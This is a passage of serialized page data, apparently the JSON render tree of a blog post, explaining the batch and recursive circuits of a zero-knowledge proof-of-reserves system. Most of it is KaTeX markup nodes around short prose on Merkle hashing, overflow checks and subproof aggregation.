95907],{"type":27,"value":95836},{"type":22,"tag":264,"props":95909,"children":95911},{"className":95910},[289,2178],[95912],{"type":27,"value":11950},{"type":22,"tag":264,"props":95914,"children":95916},{"className":95915},[289],[95917,95922],{"type":22,"tag":264,"props":95918,"children":95920},{"className":95919},[289,2178],[95921],{"type":27,"value":85670},{"type":22,"tag":264,"props":95923,"children":95925},{"className":95924},[2147],[95926],{"type":22,"tag":264,"props":95927,"children":95929},{"className":95928},[305,306],[95930,95959],{"type":22,"tag":264,"props":95931,"children":95933},{"className":95932},[311],[95934,95954],{"type":22,"tag":264,"props":95935,"children":95937},{"className":95936,"style":94422},[316],[95938],{"type":22,"tag":264,"props":95939,"children":95940},{"style":94426},[95941,95945],{"type":22,"tag":264,"props":95942,"children":95944},{"className":95943,"style":2169},[326],[],{"type":22,"tag":264,"props":95946,"children":95948},{"className":95947},[332,333,334,335],[95949],{"type":22,"tag":264,"props":95950,"children":95952},{"className":95951},[289,335],[95953],{"type":27,"value":5334},{"type":22,"tag":264,"props":95955,"children":95957},{"className":95956},[396],[95958],{"type":27,"value":399},{"type":22,"tag":264,"props":95960,"children":95962},{"className":95961},[311],[95963],{"type":22,"tag":264,"props":95964,"children":95966},{"className":95965,"style":2721},[316],[95967],{"type":22,"tag":264,"props":95968,"children":95969},{},[],{"type":22,"tag":264,"props":95971,"children":95973},{"className":95972},[5420],[95974],{"type":27,"value":5423},{"type":22,"tag":264,"props":95976,"children":95978},{"className":95977,"style":5427},[420],[],{"type":22,"tag":264,"props":95980,"children":95982},{"className":95981},[289,2178],[95983],{"type":27,"value":95836},{"type":22,"tag":264,"props":95985,"children":95987},{"className":95986},[289,2178],[95988],{"type":27,"value":11950},{"type":22,"tag":264,"props":95990,"children":95992},{"className":95991},[289],[95993,95998],{"type":22,"tag":264,"props":95994,"children":95996},{"className":95995},[289,2178],[95997],{"type":27,"value":85670},{"type":22,"tag":264,"props":95999,"children":96001},{"className":96000},[2147],[96002],{"type":22,"tag":264,"props":96003,"children":96005},{"className":96004},[305,306],[96006,96035],{"type":22,"tag":264,"props":96007,"children":96009},{"className":96008},[311],[96010,96030],{"type":22,"tag":264,"props":96011,"children":96013},{"className":96012,"style":94422},[316],[96014],{"type":22,"tag":264,"props":96015,"children":96016},{"style":94426},[96017,96021],{"type":22,"tag":264,"props":96018,"children":96020},{"className":96019,"style":2169},[326],[],{"type":22,"tag":264,"props":96022,"children":96024},{"className":96023},[332,333,334,335],[96025],{"type":22,"tag":264,"props":96026,"children":96028},{"className":96027},[289,335],[96029],{"type":27,"value":602},{"type":22,"tag":264,"props":96031,"children":96033},{"className":96032},[396],[96034],{"type":27,"value":399},{"type":22,"tag":264,"props":96036,"children":96038},{"className":96037},[311],[96039],{"type":22,"tag":264,"props":96040,"children":96042},{"className":96041,"style":2721},[316],[96043],{"type":22,"tag":264,"props":96044,"children":96045},{},[],{"type":22,"tag":264,"props":96047,"children":96049},{"className":96048},[5420],[96050],{"type":27,"value":5423},{"type":22,"tag":264,"props":96052,"children":96054},{"className":96053},[420],[96055],{"type":27,"value":22993},{"type":22,"tag":264,"props":96057,"children":96059},{"className":96058,"style":5427},[420],[],{"type":22,"tag":264,"props":96061,"children":96063},{"className":96062},[289],[96064],{"type":27,"value":10889},{"type":22,"tag":264,"props":96066,"children":96068},{"className":96067},[5420],[96069],{"type":27,"value":5423},{"type":22,"tag":264,"props":96071,"children":96073},{"className":96072,"style":5427},[420],[],{"type":22,"tag":264,"props":96075,"children":96077},{"className":96076},[289,2178],[96078],{"type":27,"value":95836},{"type":22,"tag":264,"props":96080,"children":96082},{"className":96081},[289,2178],[96083],{"type":27,"value":11950},{"type":22,"tag":264,"props":96085,"children":96087},{"className":96086},[289],[96088,96093],{"type":22,"tag":264,"props":96089,"children":96091},{"className":96090},[289,2178],[96092],{"type":27,"value":85670},{"type":22,"tag":264,"props":96094,"children":96096},{"className":96095},[2147],[96097],{"type":22,"tag":264,"props":96098,"children":96100},{"className":96099},[305,306],[96101,96135],{"type":22,"tag":264,"props":96102,"children":96104},{"className":96103},[311],[96105,96130],{"type":22,"tag":264,"props":96106,"children":96108},{"className":96107,"style":94422},[316],[96109],{"type":22,"tag":264,"props":96110,"children":96111},{"style":94426},[96112,96116],{"type":22,"tag":264,"props":96113,"children":96115},{"className":96114,"style":2169},[326],[],{"type":22,"tag":264,"props":96117,"children":96119},{"className":96118},[332,333,334,335],[96120],{"type":22,"tag":264,"props":96121,"children":96123},{"className":96122},[289,335],[96124],{"type":22,"tag":264,"props":96125,"children":96127},{"className":96126},[289,335],[96128],{"type":27,"value":96129},"511",{"type":22,"tag":264,"props":96131,"children":96133},{"className":96132},[396],[96134],{"type":27,"value":399},{"type":22,"tag":264,"props":96136,"children":96138},{"className":96137},[311],[96139],{"type":22,"tag":264,"props":96140,"children":96142},{"className":96141,"style":2721},[316],[96143],{"type":22,"tag":264,"props":96144,"children":96145},{},[],{"type":22,"tag":264,"props":96147,"children":96149},{"className":96148},[415],[96150],{"type":27,"value":2806},{"type":27,"value":7750},{"type":22,"tag":242,"props":96153,"children":96154},{},[96155],{"type":27,"value":96156},"(merkle tree hash)",{"type":22,"tag":1871,"props":96158,"children":96159},{},[96160,96435,96436,96441,96443,96448],{"type":22,"tag":257,"props":96161,"children":96163},{"className":96162},[260,261],[96164],{"type":22,"tag":264,"props":96165,"children":96167},{"className":96166},[267],[96168],{"type":22,"tag":264,"props":96169,"children":96171},{"className":96170,"ariaHidden":273},[272],[96172,96365],{"type":22,"tag":264,"props":96173,"children":96175},{"className":96174},[278],[96176,96180,96185,96190,96195,96200,96205,96210,96215,96220,96225,96230,96235,96240,96245,96250,96307,96312,96317,96322,96327,96332,96337,96342,96347,96352,96356,96361],{"type":22,"tag":264,"props":96177,"children":96179},{"className":96178,"style":94312},[283],[],{"type":22,"tag":264,"props":96181,"children":96183},{"className":96182},[289,2178],[96184],{"type":27,"value":69},{"type":22,"tag":264,"props":96186,"children":96188},{"className":96187},[289,2178],[96189],{"type":27,"value":94826},{"type":22,"tag":264,"props":96191,"children":96193},{"className":96192},[289,2178],[96194],{"type":27,"value":94628},{"type":22,"tag":264,"props":96196,"children":96198},{"className":96197},[289,2178],[96199],{"type":27,"value":57724},{"type":22,"tag":264,"props":96201,"children":96203},{"className":96202},[289,2178],[96204],{"type":27,"value":23033},{"type":22,"tag":264,"props":96206,"children":96208},{"className":96207,"style":94370},[289],[96209],{"type":27,"value":4385},{"type":22,"tag":264,"props":96211,"children":96213},{"className":96212},[289,2178],[96214],{"type":27,"value":69},{"type":22,"tag":264,"props":96216,"children":96218},{"className":96217},[289,2178],[96219],{"type":27,"value":94361},{"type":22,"tag":264,"props":96221,"children":96223},{"className":96222},[289,2178],[96224],{"type":27,"value":23033},{"type":22,"tag":264,"props":96226,"children":96228},{"className":96227,"style":94370},[289],[96229],{"type":27,"value":4385},{"type":22,"tag":264,"props":96231,"children":96233},{"className":96232},[289,2178],[96234],{"type":27,"value":94378},{"type":22,"tag":264,"props":96236,"children":96238},{"className":96237,"style":94382},[289,2178],[96239],{"type":27,"value":94385},{"type":22,"tag":264,"props":96241,"children":96243},{"className":96242},[289,2178],[96244],{"type":27,"value":94391},{"type":22,"tag":264,"props":96246,"children":96248},{"className":96247},[289,2178],[96249],{"type":27,"value":94397},{"type":22,"tag":264,"props":96251,"children":96253},{"className":96252},[289],[96254,96259],{"type":22,"tag":264,"props":96255,"children":96257},{"className":96256},[289,2178],[96258],{"type":27,"value":11950},{"type":22,"tag":264,"props":96260,"children":96262},{"className":96261},[2147],[96263],{"type":22,"tag":264,"props":96264,"children":96266},{"className":96265},[305,306],[96267,96296],{"type":22,"tag":264,"props":96268,"children":96270},{"className":96269},[311],[96271,96291],{"type":22,"tag":264,"props":96272,"children":96274},{"className":96273,"style":94898},[316],[96275],{"type":22,"tag":264,"props":96276,"children":96277},{"style":94426},[96278,96282],{"type":22,"tag":264,"props":96279,"children":96281},{"className":96280,"style":2169},[326],[],{"type":22,"tag":264,"props":96283,"children":96285},{"className":96284},[332,333,334,335],[96286],{"type":22,"tag":264,"props":96287,"children":96289},{"className":96288},[289,2178,335],[96290],{"type":27,"value":5050},{"type":22,"tag":264,"props":96292,"children":96294},{"className":96293},[396],[96295],{"type":27,"value":399},{"type":22,"tag":264,"props":96297,"children":96299},{"className":96298},[311],[96300],{"type":22,"tag":264,"props":96301,"children":96303},{"className":96302,"style":2721},[316],[96304],{"type":22,"tag":264,"props":96305,"children":96306},{},[],{"type":22,"tag":264,"props":96308,"children":96310},{"className":96309},[294],[96311],{"type":27,"value":5045},{"type":22,"tag":264,"props":96313,"children":96315},{"className":96314},[289,2178],[96316],{"type":27,"value":69},{"type":22,"tag":264,"props":96318,"children":96320},{"className":96319},[289,2178],[96321],{"type":27,"value":94361},{"type":22,"tag":264,"props":96323,"children":96325},{"className":96324},[289,2178],[96326],{"type":27,"value":23033},{"type":22,"tag":264,"props":96328,"children":96330},{"className":96329,"style":94370},[289],[96331],{"type":27,"value":4385},{"type":22,"tag":264,"props":96333,"children":96335},{"className":96334},[289,2178],[96336],{"type":27,"value":57724},{"type":22,"tag":264,"props":96338,"children":96340},{"className":96339},[289,2178],[96341],{"type":27,"value":94628},{"type":22,"tag":264,"props":96343,"children":96345},{"className":96344},[289,2178],[96346],{"type":27,"value":52454},{"type":22,"tag":264,"props":96348,"children":96350},{"className":96349},[415],[96351],{"type":27,"value":16710},{"type":22,"tag":264,"props":96353,"children":96355},{"className":96354,"style":421},[420],[],{"type":22,"tag":264,"props":96357,"children":96359},{"className":96358},[426],[96360],{"type":27,"value":7097},{"type":22,"tag":264,"props":96362,"children":96364},{"className":96363,"style":421},[420],[],{"type":22,"tag":264,"props":96366,"children":96368},{"className":96367},[278],[96369,96373,96380,96385,96391,96396,96401,96406,96412,96417,96423,96429],{"type":22,"tag":264,"props":96370,"children":96372},{"className":96371,"style":94312},[283],[],{"type":22,"tag":264,"props":96374,"children":96377},{"className":96375,"style":96376},[289,2178],"margin-right:0.10903em;",[96378],{"type":27,"value":96379},"M",{"type":22,"tag":264,"props":96381,"children":96383},{"className":96382},[289,2178],[96384],{"type":27,"value":78093},{"type":22,"tag":264,"props":96386,"children":96389},{"className":96387,"style":96388},[289,2178],"margin-right:0.07847em;",[96390],{"type":27,"value":7425},{"type":22,"tag":264,"props":96392,"children":96394},{"className":96393,"style":94370},[289],[96395],{"type":27,"value":4385},{"type":22,"tag":264,"props":96397,"children":96399},{"className":96398,"style":23347},[289,2178],[96400],{"type":27,"value":23350},{"type":22,"tag":264,"props":96402,"children":96404},{"className":96403},[289,2178],[96405],{"type":27,"value":78093},{"type":22,"tag":264,"props":96407,"children":96409},{"className":96408,"style":23347},[289,2178],[96410],{"type":27,"value":96411},"FE",{"type":22,"tag":264,"props":96413,"children":96415},{"className":96414,"style":94370},[289],[96416],{"type":27,"value":4385},{"type":22,"tag":264,"props":96418,"children":96420},{"className":96419,"style":96388},[289,2178],[96421],{"type":27,"value":96422},"I",{"type":22,"tag":264,"props":96424,"children":96426},{"className":96425,"style":22894},[289,2178],[96427],{"type":27,"value":96428},"NT",{"type":22,"tag":264,"props":96430,"children":96432},{"className":96431},[289],[96433],{"type":27,"value":96434},"/512",{"type":27,"value":7750},{"type":22,"tag":242,"props":96437,"children":96438},{},[96439],{"type":27,"value":96440},"(overflow check)",{"type":27,"value":96442}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":22,"tag":257,"props":96444,"children":96446},{"className":96445},[],[96447],{"type":27,"value":94228},{"type":27,"value":2806},{"type":22,"tag":23,"props":96450,"children":96451},{},[96452],{"type":27,"value":96453},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":22,"tag":23,"props":96455,"children":96456},{},[96457],{"type":22,"tag":215,"props":96458,"children":96460},{"alt":51899,"src":96459},"/posts/por/batch-circuit-inputs.png",[],{"type":22,"tag":181,"props":96462,"children":96464},{"id":96463},"recursive-circuit",[96465],{"type":27,"value":96466},"Recursive Circuit",{"type":22,"tag":23,"props":96468,"children":96469},{},[96470],{"type":27,"value":96471},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":22,"tag":23,"props":96473,"children":96474},{},[96475],{"type":22,"tag":242,"props":96476,"children":96477},{},[96478],{"type":27,"value":94741},{"type":22,"tag":17988,"props":96480,"children":96481},{},[96482,96486,96491],{"type":22,"tag":1871,"props":96483,"children":96484},{},[96485],{"type":27,"value":94759},{"type":22,"tag":1871,"props":96487,"children":96488},{},[96489],{"type":27,"value":96490},"Asset prices",{"type":22,"tag":1871,"props":96492,"children":96493},{},[96494],{"type":27,"value":94754},{"type":22,"tag":23,"props":96496,"children":96497},{},[96498],{"type":22,"tag":242,"props":96499,"children":96500},{},[96501],{"type":27,"value":94767},{"type":22,"tag":17988,"props":96503,"children":96504},{},[96505],{"type":22,"tag":1871,"props":96506,"children":96507},{},[96508],{"type":27,"value":96509},"8 subproofs",{"type":22,"tag":23,"props":96511,"children":96512},{},[96513],{"type":22,"tag":242,"props":96514,"children":96515},{},[96516],{"type":27,"value":94788},{"type":22,"tag":17988,"props":96518,"children":96519},{},[96520,96930,97261,97628,98015],{"type":22,"tag":1871,"props":96521,"children":96522},{},[96523,96925,96926],{"type":22,"tag":257,"props":96524,"children":96526},{"className":96525},[260,261],[96527],{"type":22,"tag":264,"props":96528,"children":96530},{"className":96529},[267],[96531],{"type":22,"tag":264,"props":96532,"children":96534},{"className":96533,"ariaHidden":273},[272],[96535,96671],{"type":22,"tag":264,"props":96536,"children":96538},{"className":96537},[278],[96539,96543,96548,96553,96558,96563,96568,96573,96578,96583,96588,96593,96598,96603,96608,96613,96618,96623,96628,96633,96638,96643,96648,96653,96658,96662,96667],{"type":22,"tag":264,"props":96540,"children":96542},{"className":96541,"style":94312},[283],[],{"type":22,"tag":264,"props":96544,"children":96546},{"className":96545},[289,2178],[96547],{"type":27,"value":23033},{"type":22,"tag":264,"props":96549,"children":96551},{"className":96550},[289,2178],[96552],{"type":27,"value":94340},{"type":22,"tag":264,"props":96554,"children":96556},{"className":96555},[289,2178],[96557],{"type":27,"value":23033},{"type":22,"tag":264,"props":96559,"children":96561},{"className":96560},[289,2178],[96562],{"type":27,"value":69},{"type":22,"tag":264,"props":96564,"children":96566},{"className":96565,"style":94382},[289,2178],[96567],{"type":27,"value":94385},{"type":22,"tag":264,"props":96569,"children":96571},{"className":96570,"style":94370},[289],[96572],{"type":27,"value":4385},{"type":22,"tag":264,"props":96574,"children":96576},{"className":96575},[289,2178],[96577],{"type":27,"value":69},{"type":22,"tag":264,"props":96579,"children":96581},{"className":96580},[289,2178],[96582],{"type":27,"value":94361},{"type":22,"tag":264,"props":96584,"children":96586},{"className":96585},[289,2178],[96587],{"type":27,"value":23033},{"type":22,"tag":264,"props":96589,"children":96591},{"className":96590,"style":94370},[289],[96592],{"type":27,"value":4385},{"type":22,"tag":264,"props":96594,"children":96596},{"className":96595},[289,2178],[96597],{"type":27,"value":94378},{"type":22,"tag":264,"props":96599,"children":96601},{"className":96600,"style":94382},[289,2178],[96602],{"type":27,"value":94385},{"type":22,"tag":264,"props":96604,"children":96606},{"className":96605},[289,2178],[96607],{"type":27,"value":94391},{"type":22,"tag":264,"props":96609,"children":96611},{"className":96610},[289,2178],[96612],{"type":27,"value":94397},{"type":22,"tag":264,"props":96614,"children":96616},{"className":96615},[294],[96617],{"type":27,"value":5045},{"type":22,"tag":264,"props":96619,"children":96621},{"className":96620},[289,2178],[96622],{"type":27,"value":69},{"type":22,"tag":264,"props":96624,"children":96626},{"className":96625},[289,2178],[96627],{"type":27,"value":94361},{"type":22,"tag":264,"props":96629,"children":96631},{"className":96630},[289,2178],[96632],{"type":27,"value":23033},{"type":22,"tag":264,"props":96634,"children":96636},{"className":96635,"style":94370},[289],[96637],{"type":27,"value":4385},{"type":22,"tag":264,"props":96639,"children":96641},{"className":96640},[289,2178],[96642],{"type":27,"value":57724},{"type":22,"tag":264,"props":96644,"children":96646},{"className":96645},[289,2178],[96647],{"type":27,"value":94628},{"type":22,"tag":264,"props":96649,"children":96651},{"className":96650},[289,2178],[96652],{"type":27,"value":52454},{"type":22,"tag":264,"props":96654,"children":96656},{"className":96655},[415],[96657],{"type":27,"value":16710},{"type":22,"tag":264,"props":96659,"children":96661},{"className":96660,"style":421},[420],[],{"type":22,"tag":264,"props":96663,"children":96665},{"className":96664},[426],[96666],{"type":27,"value":9870},{"type":22,"tag":264,"props":96668,"children":96670},{"className":96669,"style":421},[420],[],{"type":22,"tag":264,"props":96672,"children":96674},{"className":96673},[278],[96675,96679,96684,96689,96694,96699,96704,96709,96715,96774,96779,96784,96789,96794,96799,96804,96809,96814,96820,96825,96830,96835,96840,96845,96850,96855,96860,96865,96870,96875,96880,96885,96890,96895,96900,96905,96910,96915,96920],{"type":22,"tag":264,"props":96676,"children":96678},{"className":96677,"style":94312},[283],[],{"type":22,"tag":264,"props":96680,"children":96682},{"className":96681},[289],[96683],{"type":27,"value":94959},{"type":22,"tag":264,"props":96685,"children":96687},{"className":96686},[420],[96688],{"type":27,"value":22993},{"type":22,"tag":264,"props":96690,"children":96692},{"className":96691},[289,2178],[96693],{"type":27,"value":11950},{"type":22,"tag":264,"props":96695,"children":96697},{"className":96696},[289,2178],[96698],{"type":27,"value":94628},{"type":22,"tag":264,"props":96700,"children":96702},{"className":96701},[289,2178],[96703],{"type":27,"value":2181},{"type":22,"tag":264,"props":96705,"children":96707},{"className":96706},[289,2178],[96708],{"type":27,"value":23},{"type":22,"tag":264,"props":96710,"children":96712},{"className":96711},[289,2178],[96713],{"type":27,"value":96714},"roo",{"type":22,"tag":264,"props":96716,"children":96718},{"className":96717},[289],[96719,96725],{"type":22,"tag":264,"props":96720,"children":96723},{"className":96721,"style":96722},[289,2178],"margin-right:0.10764em;",[96724],{"type":27,"value":34401},{"type":22,"tag":264,"props":96726,"children":96728},{"className":96727},[2147],[96729],{"type":22,"tag":264,"props":96730,"children":96732},{"className":96731},[305,306],[96733,96763],{"type":22,"tag":264,"props":96734,"children":96736},{"className":96735},[311],[96737,96758],{"type":22,"tag":264,"props":96738,"children":96740},{"className":96739,"style":94898},[316],[96741],{"type":22,"tag":264,"props":96742,"children":96744},{"style":96743},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[96745,96749],{"type":22,"tag":264,"props":96746,"children":96748},{"className":96747,"style":2169},[326],[],{"type":22,"tag":264,"props":96750,"children":96752},{"className":96751},[332,333,334,335],[96753],{"type":22,"tag":264,"props":96754,"children":96756},{"className":96755},[289,2178,335],[96757],{"type":27,"value":5050},{"type":22,"tag":264,"props":96759,"children":96761},{"className":96760},[396],[96762],{"type":27,"value":399},{"type":22,"tag":264,"props":96764,"children":96766},{"className":96765},[311],[96767],{"type":22,"tag":264,"props":96768,"children":96770},{"className":96769,"style":2721},[316],[96771],{"type":22,"tag":264,"props":96772,"children":96773},{},[],{"type":22,"tag":264,"props":96775,"children":96777},{"className":96776},[289],[96778],{"type":27,"value":210},{"type":22,"tag":264,"props":96780,"children":96782},{"className":96781},[289,2178],[96783],{"type":27,"value":23},{"type":22,"tag":264,"props":96785,"children":96787},{"className":96786},[289,2178],[96788],{"type":27,"value":94628},{"type":22,"tag":264,"props":96790,"children":96792},{"className":96791},[289,2178],[96793],{"type":27,"value":2181},{"type":22,"tag":264,"props":96795,"children":96797},{"className":96796,"style":94382},[289,2178],[96798],{"type":27,"value":94385},{"type":22,"tag":264,"props":96800,"children":96802},{"className":96801},[289,2178],[96803],{"type":27,"value":5050},{"type":22,"tag":264,"props":96805,"children":96807},{"className":96806},[289,2178],[96808],{"type":27,"value":4449},{"type":22,"tag":264,"props":96810,"children":96812},{"className":96811,"style":94370},[289],[96813],{"type":27,"value":4385},{"type":22,"tag":264,"props":96815,"children":96817},{"className":96816},[289,2178],[96818],{"type":27,"value":96819},"in",{"type":22,"tag":264,"props":96821,"children":96823},{"className":96822},[289,2178],[96824],{"type":27,"value":23},{"type":22,"tag":264,"props":96826,"children":96828},{"className":96827},[289,2178],[96829],{"type":27,"value":94628},{"type":22,"tag":264,"props":96831,"children":96833},{"className":96832},[289,2178],[96834],{"type":27,"value":23033},{"type":22,"tag":264,"props":96836,"children":96838},{"className":96837},[289],[96839],{"type":27,"value":210},{"type":22,"tag":264,"props":96841,"children":96843},{"className":96842},[289,2178],[96844],{"type":27,"value":69},{"type":22,"tag":264,"props":96846,"children":96848},{"className":96847},[289,2178],[96849],{"type":27,"value":94361},{"type":22,"tag":264,"props":96851,"children":96853},{"className":96852},[289,2178],[96854],{"type":27,"value":23033},{"type":22,"tag":264,"props":96856,"children":96858},{"className":96857,"style":94370},[289],[96859],{"type":27,"value":4385},{"type":22,"tag":264,"props":96861,"children":96863},{"className":96862},[289,2178],[96864],{"type":27,"value":94378},{"type":22,"tag":264,"props":96866,"children":96868},{"className":96867,"style":94382},[289,2178],[96869],{"type":27,"value":94385},{"type":22,"tag":264,"props":96871,"children":96873},{"className":96872},[289,2178],[96874],{"type":27,"value":94391},{"type":22,"tag":264,"props":96876,"children":96878},{"className":96877},[289,2178],[96879],{"type":27,"value":95199},{"type":22,"tag":264,"props":96881,"children":96883},{"className":96882},[294],[96884],{"type":27,"value":5045},{"type":22,"tag":264,"props":96886,"children":96888},{"className":96887},[289,2178],[96889],{"type":27,"value":69},{"type":22,"tag":264,"props":96891,"children":96893},{"className":96892},[289,2178],[96894],{"type":27,"value":94361},{"type":22,"tag":264,"props":96896,"children":96898},{"className":96897},[289,2178],[96899],{"type":27,"value":23033},{"type":22,"tag":264,"props":96901,"children":96903},{"className":96902,"style":94370},[289],[96904],{"type":27,"value":4385},{"type":22,"tag":264,"props":96906,"children":96908},{"className":96907},[289,2178],[96909],{"type":27,"value":57724},{"type":22,"tag":264,"props":96911,"children":96913},{"className":96912},[289,2178],[96914],{"type":27,"value":94628},{"type":22,"tag":264,"props":96916,"children":96918},{"className":96917},[289,2178],[96919],{"type":27,"value":52454},{"type":22,"tag":264,"props":96921,"children":96923},{"className":96922},[415],[96924],{"type":27,"value":16710},{"type":27,"value":7750},{"type":22,"tag":242,"props":96927,"children":96928},{},[96929],{"type":27,"value":95758},{"type":22,"tag":1871,"props":96931,"children":96932},{},[96933],{"type":22,"tag":257,"props":96934,"children":96936},{"className":96935},[260,261],[96937],{"type":22,"tag":264,"props":96938,"children":96940},{"className":96939},[267],[96941],{"type":22,"tag":264,"props":96942,"children":96944},{"className":96943,"ariaHidden":273},[272],[96945,97051],{"type":22,"tag":264,"props":96946,"children":96948},{"className":96947},[278],[96949,96953,96958,96963,96968,96973,96978,96983,96988,96993,96998,97003,97008,97013,97018,97023,97028,97033,97038,97042,97047],{"type":22,"tag":264,"props":96950,"children":96952},{"className":96951,"style":94312},[283],[],{"type":22,"tag":264,"props":96954,"children":96956},{"className":96955},[289,2178],[96957],{"type":27,"value":69},{"type":22,"tag":264,"props":96959,"children":96961},{"className":96960},[289,2178],[96962],{"type":27,"value":94361},{"type":22,"tag":264,"props":96964,"children":96966},{"className":96965},[289,2178],[96967],{"type":27,"value":23033},{"type":22,"tag":264,"props":96969,"children":96971},{"className":96970,"style":94370},[289],[96972],{"type":27,"value":4385},{"type":22,"tag":264,"props":96974,"children":96976},{"className":96975},[289,2178],[96977],{"type":27,"value":23},{"type":22,"tag":264,"props":96979,"children":96981},{"className":96980,"style":94370},[289,2178],[96982],{"type":27,"value":95188},{"type":22,"tag":264,"props":96984,"children":96986},{"className":96985},[289,2178],[96987],{"type":27,"value":5050},{"type":22,"tag":264,"props":96989,"children":96991},{"className":96990},[289,2178],[96992],{"type":27,"value":94397},{"type":22,"tag":264,"props":96994,"children":96996},{"className":96995},[294],[96997],{"type":27,"value":5045},{"type":22,"tag":264,"props":96999,"children":97001},{"className":97000},[289,2178],[97002],{"type":27,"value":69},{"type":22,"tag":264,"props":97004,"children":97006},{"className":97005},[289,2178],[97007],{"type":27,"value":94361},{"type":22,"tag":264,"props":97009,"children":97011},{"className":97010},[289,2178],[97012],{"type":27,"value":23033},{"type":22,"tag":264,"props":97014,"children":97016},{"className":97015,"style":94370},[289],[97017],{"type":27,"value":4385},{"type":22,"tag":264,"props":97019,"children":97021},{"className":97020},[289,2178],[97022],{"type":27,"value":57724},{"type":22,"tag":264,"props":97024,"children":97026},{"className":97025},[289,2178],[97027],{"type":27,"value":94628},{"type":22,"tag":264,"props":97029,"children":97031},{"className":97030},[289,2178],[97032],{"type":27,"value":52454},{"type":22,"tag":264,"props":97034,"children":97036},{"className":97035},[415],[97037],{"type":27,"value":16710},{"type":22,"tag":264,"props":97039,"children":97041},{"className":97040,"style":421},[420],[],{"type":22,"tag":264,"props":97043,"children":97045},{"className":97044},[426],[97046],{"type":27,"value":9870},{"type":22,"tag":264,"props":97048,"children":97050},{"className":97049,"style":421},[420],[],{"type":22,"tag":264,"props":97052,"children":97054},{"className":97053},[278],[97055,97059,97064,97069,97074,97079,97084,97141,97146,97151,97156,97161,97166,97171,97176,97181,97186,97191,97196,97201,97206,97211,97216,97221,97226,97231,97236,97241,97246,97251,97256],{"type":22,"tag":264,"props":97056,"children":97058},{"className":97057,"style":94312},[283],[],{"type":22,"tag":264,"props":97060,"children":97062},{"className":97061},[289,2178],[97063],{"type":27,"value":11950},{"type":22,"tag":264,"props":97065,"children":97067},{"className":97066},[289,2178],[97068],{"type":27,"value":94628},{"type":22,"tag":264,"props":97070,"children":97072},{"className":97071},[289,2178],[97073],{"type":27,"value":2181},{"type":22,"tag":264,"props":97075,"children":97077},{"className":97076},[289,2178],[97078],{"type":27,"value":23},{"type":22,"tag":264,"props":97080,"children":97082},{"className":97081},[289,2178],[97083],{"type":27,"value":96714},{"type":22,"tag":264,"props":97085,"children":97087},{"className":97086},[289],[97088,97093],{"type":22,"tag":264,"props":97089,"children":97091},{"className":97090,"style":96722},[289,2178],[97092],{"type":27,"value":34401},{"type":22,"tag":264,"props":97094,"children":97096},{"className":97095},[2147],[97097],{"type":22,"tag":264,"props":97098,"children":97100},{"className":97099},[305,306],[97101,97130],{"type":22,"tag":264,"props":97102,"children":97104},{"className":97103},[311],[97105,97125],{"type":22,"tag":264,"props":97106,"children":97108},{"className":97107,"style":94898},[316],[97109],{"type":22,"tag":264,"props":97110,"children":97111},{"style":96743},[97112,97116],{"type":22,"tag":264,"props":97113,"children":97115},{"className":97114,"style":2169},[326],[],{"type":22,"tag":264,"props":97117,"children":97119},{"className":97118},[332,333,334,335],[97120],{"type":22,"tag":264,"props":97121,"children":97123},{"className":97122},[289,2178,335],[97124],{"type":27,"value":5050},{"type":22,"tag":264,"props":97126,"children":97128},{"className":97127},[396],[97129],{"type":27,"value":399},{"type":22,"tag":264,"props":97131,"children":97133},{"className":97132},[311],[97134],{"type":22,"tag":264,"props":97135,"children":97137},{"className":97136,"style":2721},[316],[97138],{"type":22,"tag":264,"props":97139,"children":97140},{},[],{"type":22,"tag":264,"props":97142,"children":97144},{"className":97143},[289],[97145],{"type":27,"value":210},{"type":22,"tag":264,"props":97147,"children":97149},{"className":97148},[289,2178],[97150],{"type":27,"value":23},{"type":22,"tag":264,"props":97152,"children":97154},{"className":97153},[289,2178],[97155],{"type":27,"value":94628},{"type":22,"tag":264,"props":97157,"children":97159},{"className":97158},[289,2178],[97160],{"type":27,"value":2181},{"type":22,"tag":264,"props":97162,"children":97164},{"className":97163,"style":94382},[289,2178],[97165],{"type":27,"value":94385},{"type":22,"tag":264,"props":97167,"children":97169},{"className":97168},[289,2178],[97170],{"type":27,"value":5050},{"type":22,"tag":264,"props":97172,"children":97174},{"className":97173},[289,2178],[97175],{"type":27,"value":4449},{"type":22,"tag":264,"props":97177,"children":97179},{"className":97178,"style":94370},[289],[97180],{"type":27,"value":4385},{"type":22,"tag":264,"props":97182,"children":97184},{"className":97183},[289,2178],[97185],{"type":27,"value":96819},{"type":22,"tag":264,"props":97187,"children":97189},{"className":97188},[289,2178],[97190],{"type":27,"value":23},{"type":22,"tag":264,"props":97192,"children":97194},{"className":97193},[289,2178],[97195],{"type":27,"value":94628},{"type":22,"tag":264,"props":97197,"children":97199},{"className":97198},[289,2178],[97200],{"type":27,"value":23033},{"type":22,"tag":264,"props":97202,"children":97204},{"className":97203},[289],[97205],{"type":27,"value":210},{"type":22,"tag":264,"props":97207,"children":97209},{"className":97208},[289,2178],[97210],{"type":27,"value":69},{"type":22,"tag":264,"props":97212,"children":97214},{"className":97213},[289,2178],[97215],{"type":27,"value":94361},{"type":22,"tag":264,"props":97217,"children":97219},{"className":97218},[289,2178],[97220],{"type":27,"value":23033},{"type":22,"tag":264,"props":97222,"children":97224},{"className":97223,"style":94370},[289],[97225],{"type":27,"value":4385},{"type":22,"tag":264,"props":97227,"children":97229},{"className":97228},[289,2178],[97230],{"type":27,"value":23},{"type":22,"tag":264,"props":97232,"children":97234},{"className":97233,"style":94370},[289,2178],[97235],{"type":27,"value":95188},{"type":22,"tag":264,"props":97237,"children":97239},{"className":97238},[289,2178],[97240],{"type":27,"value":5050},{"type":22,"tag":264,"props":97242,"children":97244},{"className":97243},[289,2178],[97245],{"type":27,"value":95199},{"type":22,"tag":264,"props":97247,"children":97249},{"className":97248},[294],[97250],{"type":27,"value":5045},{"type":22,"tag":264,"props":97252,"children":97254},{"className":97253},[289],[97255],{"type":27,"value":5334},{"type":22,"tag":264,"props":97257,"children":97259},{"className":97258},[415],[97260],{"type":27,"value":16710},{"type":22,"tag":1871,"props":97262,"children":97263},{},[97264,97622,97623],{"type":22,"tag":257,"props":97265,"children":97267},{"className":97266},[260,261],[97268],{"type":22,"tag":264,"props":97269,"children":97271},{"className":97270},[267],[97272],{"type":22,"tag":264,